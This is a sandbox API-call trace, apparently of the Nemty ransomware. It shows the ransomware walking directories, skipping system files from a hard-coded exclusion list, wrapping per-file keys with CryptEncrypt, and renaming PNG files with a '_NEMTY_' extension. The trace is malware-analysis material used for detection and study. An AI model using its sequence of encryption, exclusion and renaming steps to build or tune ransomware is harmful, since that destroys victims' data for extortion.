[0083.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0083.286] CloseHandle (hObject=0xffffffff) returned 0 [0083.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0083.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0083.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0083.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0083.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0083.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0083.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0083.286] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.286] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2=".") returned 1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="..") returned 1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="...") returned 1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="windows") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="rsa") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="NTDETECT.COM") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntldr") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="MSDOS.SYS") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="IO.SYS") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="AUTOEXEC.BAT") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="desktop.ini") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="CONFIG.SYS") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RECYCLER") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="BOOTSECT.BAK") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="programdata") returned -1 [0083.287] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="appdata") returned -1 [0083.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0083.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0083.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0083.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0083.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0083.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0083.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0083.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0083.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0083.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0083.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94378 [0083.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0083.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0083.288] Sleep (dwMilliseconds=0x5) [0083.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe54c7330, dwHighDateTime=0x1d561e7)) [0083.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe54c7330, dwHighDateTime=0x1d561e7)) [0083.302] GetLastError () returned 0x5 [0083.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0083.302] GetLastError () returned 0x5 [0083.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0083.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0083.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0083.302] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0083.302] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0083.302] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0083.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0083.302] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="Dl6chLZ5QyA6w7LMkz5OV9BNUHHsyMSDnxqoH9qcTrPl8DXR1WO2lf8uAeTemCrE\r\nY60V99r9+XN6ZKDlH975aOauD7RPgGUfVh+96wj6ZbmUxpCb1Dms/ePdjrlTIvQo\r\njwgON2i/y0bMpQtaYhbX/+X9e6emtlXlStAExnYp3mEr6FwAwOt9zdncFe2dtenU\r\nXuw4dj+fT2YaN7LTrvuZXLW4Z5fPFvyUiU688phADmaVXiKLTTt9OfNxHlMzPZfQ\r\nFZYPBlasgOW0YbpPBOJVKNSQwpcmxDZbYIuSblWcmEhDRo/Xnbdj+NP/OGrHPQ5q\r\ncHC0A7EM4+WTLJxFXIXFgQ==\r\n", pcchString=0x653e91c) returned 1 [0083.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0083.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0083.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0083.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0083.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0083.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0083.302] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.303] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0083.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0083.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.322] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 